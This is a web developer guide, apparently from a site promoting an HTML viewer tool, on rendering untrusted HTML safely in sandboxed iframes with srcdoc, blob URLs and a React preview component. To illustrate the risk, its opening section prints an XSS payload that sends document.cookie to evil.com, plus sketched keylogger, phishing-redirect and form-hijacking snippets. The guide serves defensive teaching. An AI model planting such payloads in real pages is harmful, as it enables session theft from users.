Previewing HTML Safely: Sandboxed Rendering in Your Browser
You have an HTML snippet -- maybe from an email template, a CMS widget, or a code snippet you found online. You want to see how it renders. Opening it directly in your browser works, but it also executes any JavaScript it contains, which could be malicious. Sandboxed HTML preview solves this by rendering markup in an isolated context. This guide explains how it works.
Why direct rendering is risky
HTML is not just a markup language -- it is an execution environment. A seemingly innocent snippet can contain:
<!-- Looks harmless -->
<div style="font-family: Arial;">
<h1>Welcome!</h1>
<img src="x" onerror="fetch('https://evil.com/steal?cookie='+document.cookie)">
</div>
That onerror handler fires when the image fails to load (which it will, since x is not a valid URL) and sends the user's cookies to an attacker. This is a basic cross-site scripting (XSS) attack.
Other risks include:
- Keyloggers:
<script>document.addEventListener('keydown', e => ...)</script> - Redirects:
<meta http-equiv="refresh" content="0;url=https://phishing-site.com"> - Resource loading:
<link rel="stylesheet" href="https://tracker.com/pixel.css"> - Form hijacking:
<form action="https://evil.com/collect">overlaid on legitimate forms
The iframe sandbox
The HTML <iframe> element's sandbox attribute creates an isolated execution context. A sandboxed iframe has a unique origin, cannot access the parent page's DOM, cookies, or storage, and has JavaScript disabled by default.
<!-- Maximum restriction: no scripts, no forms, no popups, no navigation -->
<iframe sandbox srcdoc="<h1>Safe preview</h1>"></iframe>
<!-- Selectively allow features -->
<iframe
sandbox="allow-scripts"
srcdoc="<h1>This can run JS but cannot access parent</h1>"
></iframe>
Sandbox permissions
The sandbox attribute without any values applies all restrictions. You can selectively relax them:
| Permission | What it allows |
|---|---|
allow-scripts |
JavaScript execution (still isolated from parent) |
allow-forms |
Form submission |
allow-popups |
window.open() and target="_blank" |
allow-same-origin |
Access to same-origin storage and cookies |
allow-modals |
alert(), confirm(), prompt() |
allow-top-navigation |
Navigate the parent frame |
For a safe HTML preview, the minimal sandbox with no permissions is ideal. If you need CSS animations or layout that depends on JavaScript, add only allow-scripts:
<iframe
sandbox="allow-scripts"
srcdoc="..."
style="width: 100%; height: 500px; border: 1px solid #e2e8f0;"
></iframe>
Never add allow-same-origin together with allow-scripts. That combination allows the sandboxed content to remove its own sandbox attributes, defeating the purpose entirely.
srcDoc vs blob URLs
There are two main approaches to loading HTML content into a sandboxed iframe.
srcDoc attribute
The srcdoc attribute accepts inline HTML as a string:
const iframe = document.createElement('iframe');
iframe.sandbox = 'allow-scripts';
iframe.srcdoc = userProvidedHtml;
document.body.appendChild(iframe);
Advantages: simple, no URL to manage, content is inline. The browser creates an isolated document from the string.
Disadvantages: very large HTML strings can be unwieldy as attribute values, and some older browsers have size limits on attribute values.
Blob URLs
Create a Blob from the HTML string and generate a temporary URL:
const blob = new Blob([userProvidedHtml], { type: 'text/html' });
const url = URL.createObjectURL(blob);
const iframe = document.createElement('iframe');
iframe.sandbox = 'allow-scripts';
iframe.src = url;
document.body.appendChild(iframe);
// Clean up when done
// URL.revokeObjectURL(url);
Advantages: handles large documents well, works like any other URL.
Disadvantages: the blob URL has a unique origin (which is good for isolation), but you need to remember to revoke it to free memory.
Which to use
For small to medium HTML snippets (under 1 MB), srcdoc is simpler and sufficient. For large documents or when you need to support resource loading relative to the document, blob URLs are the better choice.
Practical use cases
Email template development
Email HTML is notoriously constrained -- no external stylesheets, limited CSS support, inline styles everywhere. Previewing email templates in a sandboxed iframe shows you the rendered result without sending a test email:
function previewEmailTemplate(html) {
const preview = document.getElementById('email-preview');
preview.srcdoc = html;
}
CMS content preview
When building a content management system, editors write HTML (or Markdown that compiles to HTML) and expect a live preview. Sandboxing ensures that user-generated content cannot break the admin interface.
Code snippet rendering
Documentation sites and coding tutorials often show HTML examples with live previews. The sandbox prevents malicious snippets from affecting the host page.
Widget and embed testing
Third-party widgets, embed codes, and iframe content can be previewed safely before deploying to production. This catches layout issues and unexpected behavior without risking the live site.
Building a safe preview component
Here is a complete React component for sandboxed HTML preview:
function HtmlPreview({ html, allowScripts = false }: {
html: string;
allowScripts?: boolean;
}) {
const sandboxValue = allowScripts ? 'allow-scripts' : '';
return (
<iframe
sandbox={sandboxValue || undefined}
srcDoc={html}
style={{
width: '100%',
height: '400px',
border: '1px solid #e2e8f0',
borderRadius: '8px',
backgroundColor: '#ffffff',
}}
title="HTML Preview"
/>
);
}
Key details:
- The
titleattribute is required for accessibility (screen readers announce the iframe's purpose) - Background color is set on the iframe to prevent flash of transparent content
- The
sandboxattribute with an empty string enables all restrictions
Auto-resizing the preview
A fixed-height iframe often shows scrollbars or wastes space. You can auto-resize by measuring the content height:
function AutoResizingPreview({ html }) {
const iframeRef = useRef(null);
useEffect(() => {
const iframe = iframeRef.current;
if (!iframe) return;
const handleLoad = () => {
try {
const height = iframe.contentDocument.documentElement.scrollHeight;
iframe.style.height = `${height}px`;
} catch (e) {
// Cross-origin restriction -- fall back to fixed height
iframe.style.height = '400px';
}
};
iframe.addEventListener('load', handleLoad);
return () => iframe.removeEventListener('load', handleLoad);
}, [html]);
return (
<iframe
ref={iframeRef}
sandbox="allow-same-origin"
srcDoc={html}
style={{ width: '100%', border: 'none' }}
title="HTML Preview"
/>
);
}
Note that accessing contentDocument requires allow-same-origin in the sandbox. This is safe as long as you do not also allow scripts.
Summary
Sandboxed HTML rendering lets you preview untrusted markup without exposing your page to XSS, redirects, or data theft. The iframe sandbox attribute provides fine-grained control over what the embedded content can do. For most preview use cases, a sandboxed iframe with srcdoc and no additional permissions is the safest and simplest approach.
Try our HTML Viewer to preview any HTML snippet safely and instantly -- right in your browser, no upload required.